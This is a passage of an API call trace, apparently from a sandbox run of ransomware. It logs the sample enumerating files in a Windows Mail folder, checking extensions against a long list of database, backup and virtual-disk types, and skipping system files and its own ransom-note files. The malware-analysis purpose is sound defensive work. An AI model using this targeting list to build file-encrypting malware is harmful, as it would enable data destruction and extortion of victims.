	[0037.603] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0037.603] lstrlenW (lpString="vbox") returned 4
	[0037.603] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0037.603] lstrlenW (lpString="vdi") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0037.603] lstrlenW (lpString="vhd") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0037.603] lstrlenW (lpString="vhdx") returned 4
	[0037.604] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0037.604] lstrlenW (lpString="avhd") returned 4
	[0037.604] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0037.604] lstrlenW (lpString="db") returned 2
	[0037.604] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0037.604] lstrlenW (lpString="db2") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0037.604] lstrlenW (lpString="db3") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0037.604] lstrlenW (lpString="dbf") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0037.604] lstrlenW (lpString="mdf") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0037.604] lstrlenW (lpString="mdb") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0037.604] lstrlenW (lpString="sql") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0037.604] lstrlenW (lpString="sqlite") returned 6
	[0037.604] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0037.604] lstrlenW (lpString="sqlite3") returned 7
	[0037.604] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0037.604] lstrlenW (lpString="sqlitedb") returned 8
	[0037.604] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0037.604] lstrlenW (lpString="xml") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0037.604] lstrlenW (lpString="$er") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0037.604] lstrlenW (lpString="4dd") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
	[0037.604] lstrlenW (lpString="4dl") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0037.604] lstrlenW (lpString="^^^") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0037.604] lstrlenW (lpString="abs") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0037.604] lstrlenW (lpString="abx") returned 3
	[0037.604] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0037.604] lstrlenW (lpString="accdb") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0037.605] lstrlenW (lpString="accdc") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0037.605] lstrlenW (lpString="accde") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0037.605] lstrlenW (lpString="accdr") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0037.605] lstrlenW (lpString="accdt") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0037.605] lstrlenW (lpString="accdw") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0037.605] lstrlenW (lpString="accft") returned 5
	[0037.605] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
	[0037.605] lstrlenW (lpString="adb") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0037.605] lstrlenW (lpString="adb") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0037.605] lstrlenW (lpString="ade") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0037.605] lstrlenW (lpString="adf") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0037.605] lstrlenW (lpString="adn") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0037.605] lstrlenW (lpString="adp") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0037.605] lstrlenW (lpString="alf") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0037.605] lstrlenW (lpString="ask") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0037.605] lstrlenW (lpString="btr") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0037.605] lstrlenW (lpString="cat") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0037.605] lstrlenW (lpString="cdb") returned 3
	[0037.605] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0037.605] lstrlenW (lpString="ckp") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0037.606] lstrlenW (lpString="cma") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0037.606] lstrlenW (lpString="cpd") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0037.606] lstrlenW (lpString="dacpac") returned 6
	[0037.606] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0037.606] lstrlenW (lpString="dad") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0037.606] lstrlenW (lpString="dadiagrams") returned 10
	[0037.606] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0037.606] lstrlenW (lpString="daschema") returned 8
	[0037.606] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0037.606] lstrlenW (lpString="db-journal") returned 10
	[0037.606] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0037.606] lstrlenW (lpString="db-shm") returned 6
	[0037.606] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0037.606] lstrlenW (lpString="db-wal") returned 6
	[0037.606] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0037.606] lstrlenW (lpString="dbc") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0037.606] lstrlenW (lpString="dbs") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0037.606] lstrlenW (lpString="dbt") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0037.606] lstrlenW (lpString="dbv") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0037.606] lstrlenW (lpString="dbx") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0037.606] lstrlenW (lpString="dcb") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0037.606] lstrlenW (lpString="dct") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dct") returned 1
	[0037.606] lstrlenW (lpString="dcx") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="dcx") returned 1
	[0037.606] lstrlenW (lpString="ddl") returned 3
	[0037.606] lstrcmpiW (lpString1="unt", lpString2="ddl") returned 1
	[0037.606] lstrlenW (lpString="dlis") returned 4
	[0037.607] lstrcmpiW (lpString1="ount", lpString2="dlis") returned 1
	[0037.607] lstrlenW (lpString="dp1") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="dp1") returned 1
	[0037.607] lstrlenW (lpString="dqy") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="dqy") returned 1
	[0037.607] lstrlenW (lpString="dsk") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="dsk") returned 1
	[0037.607] lstrlenW (lpString="dsn") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="dsn") returned 1
	[0037.607] lstrlenW (lpString="dtsx") returned 4
	[0037.607] lstrcmpiW (lpString1="ount", lpString2="dtsx") returned 1
	[0037.607] lstrlenW (lpString="dxl") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="dxl") returned 1
	[0037.607] lstrlenW (lpString="eco") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="eco") returned 1
	[0037.607] lstrlenW (lpString="ecx") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="ecx") returned 1
	[0037.607] lstrlenW (lpString="edb") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="edb") returned 1
	[0037.607] lstrlenW (lpString="epim") returned 4
	[0037.607] lstrcmpiW (lpString1="ount", lpString2="epim") returned 1
	[0037.607] lstrlenW (lpString="fcd") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="fcd") returned 1
	[0037.607] lstrlenW (lpString="fdb") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="fdb") returned 1
	[0037.607] lstrlenW (lpString="fic") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="fic") returned 1
	[0037.607] lstrlenW (lpString="flexolibrary") returned 12
	[0037.607] lstrcmpiW (lpString1="C}.oeaccount", lpString2="flexolibrary") returned -1
	[0037.607] lstrlenW (lpString="fm5") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="fm5") returned 1
	[0037.607] lstrlenW (lpString="fmp") returned 3
	[0037.607] lstrcmpiW (lpString1="unt", lpString2="fmp") returned 1
	[0037.607] lstrlenW (lpString="fmp12") returned 5
	[0037.607] lstrcmpiW (lpString1="count", lpString2="fmp12") returned -1
	[0037.607] lstrlenW (lpString="fmpsl") returned 5
	[0037.607] lstrcmpiW (lpString1="count", lpString2="fmpsl") returned -1
	[0037.607] lstrlenW (lpString="fol") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="fol") returned 1
	[0037.608] lstrlenW (lpString="fp3") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="fp3") returned 1
	[0037.608] lstrlenW (lpString="fp4") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="fp4") returned 1
	[0037.608] lstrlenW (lpString="fp5") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="fp5") returned 1
	[0037.608] lstrlenW (lpString="fp7") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="fp7") returned 1
	[0037.608] lstrlenW (lpString="fpt") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="fpt") returned 1
	[0037.608] lstrlenW (lpString="frm") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="frm") returned 1
	[0037.608] lstrlenW (lpString="gdb") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0037.608] lstrlenW (lpString="gdb") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0037.608] lstrlenW (lpString="grdb") returned 4
	[0037.608] lstrcmpiW (lpString1="ount", lpString2="grdb") returned 1
	[0037.608] lstrlenW (lpString="gwi") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="gwi") returned 1
	[0037.608] lstrlenW (lpString="hdb") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="hdb") returned 1
	[0037.608] lstrlenW (lpString="his") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="his") returned 1
	[0037.608] lstrlenW (lpString="ib") returned 2
	[0037.608] lstrcmpiW (lpString1="nt", lpString2="ib") returned 1
	[0037.608] lstrlenW (lpString="idb") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="idb") returned 1
	[0037.608] lstrlenW (lpString="ihx") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="ihx") returned 1
	[0037.608] lstrlenW (lpString="itdb") returned 4
	[0037.608] lstrcmpiW (lpString1="ount", lpString2="itdb") returned 1
	[0037.608] lstrlenW (lpString="itw") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="itw") returned 1
	[0037.608] lstrlenW (lpString="jet") returned 3
	[0037.608] lstrcmpiW (lpString1="unt", lpString2="jet") returned 1
	[0037.608] lstrlenW (lpString="jtx") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="jtx") returned 1
	[0037.609] lstrlenW (lpString="kdb") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="kdb") returned 1
	[0037.609] lstrlenW (lpString="kexi") returned 4
	[0037.609] lstrcmpiW (lpString1="ount", lpString2="kexi") returned 1
	[0037.609] lstrlenW (lpString="kexic") returned 5
	[0037.609] lstrcmpiW (lpString1="count", lpString2="kexic") returned -1
	[0037.609] lstrlenW (lpString="kexis") returned 5
	[0037.609] lstrcmpiW (lpString1="count", lpString2="kexis") returned -1
	[0037.609] lstrlenW (lpString="lgc") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="lgc") returned 1
	[0037.609] lstrlenW (lpString="lwx") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="lwx") returned 1
	[0037.609] lstrlenW (lpString="maf") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="maf") returned 1
	[0037.609] lstrlenW (lpString="maq") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="maq") returned 1
	[0037.609] lstrlenW (lpString="mar") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mar") returned 1
	[0037.609] lstrlenW (lpString="marshal") returned 7
	[0037.609] lstrcmpiW (lpString1="account", lpString2="marshal") returned -1
	[0037.609] lstrlenW (lpString="mas") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mas") returned 1
	[0037.609] lstrlenW (lpString="mav") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mav") returned 1
	[0037.609] lstrlenW (lpString="maw") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="maw") returned 1
	[0037.609] lstrlenW (lpString="mdbhtml") returned 7
	[0037.609] lstrcmpiW (lpString1="account", lpString2="mdbhtml") returned -1
	[0037.609] lstrlenW (lpString="mdn") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mdn") returned 1
	[0037.609] lstrlenW (lpString="mdt") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mdt") returned 1
	[0037.609] lstrlenW (lpString="mfd") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mfd") returned 1
	[0037.609] lstrlenW (lpString="mpd") returned 3
	[0037.609] lstrcmpiW (lpString1="unt", lpString2="mpd") returned 1
	[0037.610] lstrlenW (lpString="mrg") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="mrg") returned 1
	[0037.610] lstrlenW (lpString="mud") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="mud") returned 1
	[0037.610] lstrlenW (lpString="mwb") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="mwb") returned 1
	[0037.610] lstrlenW (lpString="myd") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="myd") returned 1
	[0037.610] lstrlenW (lpString="ndf") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="ndf") returned 1
	[0037.610] lstrlenW (lpString="nnt") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="nnt") returned 1
	[0037.610] lstrlenW (lpString="nrmlib") returned 6
	[0037.610] lstrcmpiW (lpString1="ccount", lpString2="nrmlib") returned -1
	[0037.610] lstrlenW (lpString="ns2") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="ns2") returned 1
	[0037.610] lstrlenW (lpString="ns3") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="ns3") returned 1
	[0037.610] lstrlenW (lpString="ns4") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="ns4") returned 1
	[0037.610] lstrlenW (lpString="nsf") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="nsf") returned 1
	[0037.610] lstrlenW (lpString="nv") returned 2
	[0037.610] lstrcmpiW (lpString1="nt", lpString2="nv") returned -1
	[0037.610] lstrlenW (lpString="nv2") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="nv2") returned 1
	[0037.610] lstrlenW (lpString="nwdb") returned 4
	[0037.610] lstrcmpiW (lpString1="ount", lpString2="nwdb") returned 1
	[0037.610] lstrlenW (lpString="nyf") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="nyf") returned 1
	[0037.610] lstrlenW (lpString="odb") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0037.610] lstrlenW (lpString="odb") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0037.610] lstrlenW (lpString="oqy") returned 3
	[0037.610] lstrcmpiW (lpString1="unt", lpString2="oqy") returned 1
	[0037.611] lstrlenW (lpString="ora") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="ora") returned 1
	[0037.611] lstrlenW (lpString="orx") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="orx") returned 1
	[0037.611] lstrlenW (lpString="owc") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="owc") returned 1
	[0037.611] lstrlenW (lpString="p96") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="p96") returned 1
	[0037.611] lstrlenW (lpString="p97") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="p97") returned 1
	[0037.611] lstrlenW (lpString="pan") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="pan") returned 1
	[0037.611] lstrlenW (lpString="pdb") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="pdb") returned 1
	[0037.611] lstrlenW (lpString="pdm") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="pdm") returned 1
	[0037.611] lstrlenW (lpString="pnz") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="pnz") returned 1
	[0037.611] lstrlenW (lpString="qry") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="qry") returned 1
	[0037.611] lstrlenW (lpString="qvd") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="qvd") returned 1
	[0037.611] lstrlenW (lpString="rbf") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="rbf") returned 1
	[0037.611] lstrlenW (lpString="rctd") returned 4
	[0037.611] lstrcmpiW (lpString1="ount", lpString2="rctd") returned -1
	[0037.611] lstrlenW (lpString="rod") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="rod") returned 1
	[0037.611] lstrlenW (lpString="rodx") returned 4
	[0037.611] lstrcmpiW (lpString1="ount", lpString2="rodx") returned -1
	[0037.611] lstrlenW (lpString="rpd") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="rpd") returned 1
	[0037.611] lstrlenW (lpString="rsd") returned 3
	[0037.611] lstrcmpiW (lpString1="unt", lpString2="rsd") returned 1
	[0037.611] lstrlenW (lpString="sas7bdat") returned 8
	[0037.611] lstrcmpiW (lpString1="eaccount", lpString2="sas7bdat") returned -1
	[0037.611] lstrlenW (lpString="sbf") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="sbf") returned 1
	[0037.612] lstrlenW (lpString="scx") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="scx") returned 1
	[0037.612] lstrlenW (lpString="sdb") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="sdb") returned 1
	[0037.612] lstrlenW (lpString="sdc") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="sdc") returned 1
	[0037.612] lstrlenW (lpString="sdf") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="sdf") returned 1
	[0037.612] lstrlenW (lpString="sis") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="sis") returned 1
	[0037.612] lstrlenW (lpString="spq") returned 3
	[0037.612] lstrcmpiW (lpString1="unt", lpString2="spq") returned 1
	[0037.612] lstrlenW (lpString="te") returned 2
	[0037.613] lstrcmpiW (lpString1="nt", lpString2="te") returned -1
	[0037.613] lstrlenW (lpString="teacher") returned 7
	[0037.613] lstrcmpiW (lpString1="account", lpString2="teacher") returned -1
	[0037.613] lstrlenW (lpString="tmd") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="tmd") returned 1
	[0037.613] lstrlenW (lpString="tps") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="tps") returned 1
	[0037.613] lstrlenW (lpString="trc") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0037.613] lstrlenW (lpString="trc") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0037.613] lstrlenW (lpString="trm") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="trm") returned 1
	[0037.613] lstrlenW (lpString="udb") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="udb") returned 1
	[0037.613] lstrlenW (lpString="udl") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="udl") returned 1
	[0037.613] lstrlenW (lpString="usr") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="usr") returned -1
	[0037.613] lstrlenW (lpString="v12") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="v12") returned -1
	[0037.613] lstrlenW (lpString="vis") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="vis") returned -1
	[0037.613] lstrlenW (lpString="vpd") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="vpd") returned -1
	[0037.613] lstrlenW (lpString="vvv") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="vvv") returned -1
	[0037.613] lstrlenW (lpString="wdb") returned 3
	[0037.613] lstrcmpiW (lpString1="unt", lpString2="wdb") returned -1
	[0037.613] lstrlenW (lpString="wmdb") returned 4
	[0037.613] lstrcmpiW (lpString1="ount", lpString2="wmdb") returned -1
	[0037.614] lstrlenW (lpString="wrk") returned 3
	[0037.614] lstrcmpiW (lpString1="unt", lpString2="wrk") returned -1
	[0037.614] lstrlenW (lpString="xdb") returned 3
	[0037.614] lstrcmpiW (lpString1="unt", lpString2="xdb") returned -1
	[0037.614] lstrlenW (lpString="xld") returned 3
	[0037.614] lstrcmpiW (lpString1="unt", lpString2="xld") returned -1
	[0037.614] lstrlenW (lpString="xmlff") returned 5
	[0037.614] lstrcmpiW (lpString1="count", lpString2="xmlff") returned -1
	[0037.614] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".") returned 1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="..") returned 1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="windows") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="bootmgr") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="temp") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="pagefile.sys") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="boot") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="ids.txt") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="ntuser.dat") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="perflogs") returned -1
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="MSBuild") returned -1
	[0037.614] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0037.614] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 109
	[0037.614] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" | out: lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount"
	[0037.614] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0037.614] lstrlenW (lpString="Apollon865") returned 10
	[0037.614] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0037.614] lstrlenW (lpString=".dll") returned 4
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".dll") returned 1
	[0037.614] lstrlenW (lpString=".lnk") returned 4
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".lnk") returned 1
	[0037.614] lstrlenW (lpString=".ini") returned 4
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".ini") returned 1
	[0037.614] lstrlenW (lpString=".sys") returned 4
	[0037.614] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".sys") returned 1
	[0037.615] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0037.615] lstrlenW (lpString="bak") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0037.615] lstrlenW (lpString="ba_") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0037.615] lstrlenW (lpString="dbb") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0037.615] lstrlenW (lpString="vmdk") returned 4
	[0037.615] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0037.615] lstrlenW (lpString="rar") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0037.615] lstrlenW (lpString="zip") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0037.615] lstrlenW (lpString="tgz") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0037.615] lstrlenW (lpString="vbox") returned 4
	[0037.615] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0037.615] lstrlenW (lpString="vdi") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0037.615] lstrlenW (lpString="vhd") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0037.615] lstrlenW (lpString="vhdx") returned 4
	[0037.615] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0037.615] lstrlenW (lpString="avhd") returned 4
	[0037.615] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0037.615] lstrlenW (lpString="db") returned 2
	[0037.615] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0037.615] lstrlenW (lpString="db2") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0037.615] lstrlenW (lpString="db3") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0037.615] lstrlenW (lpString="dbf") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0037.615] lstrlenW (lpString="mdf") returned 3
	[0037.615] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0037.615] lstrlenW (lpString="mdb") returned 3
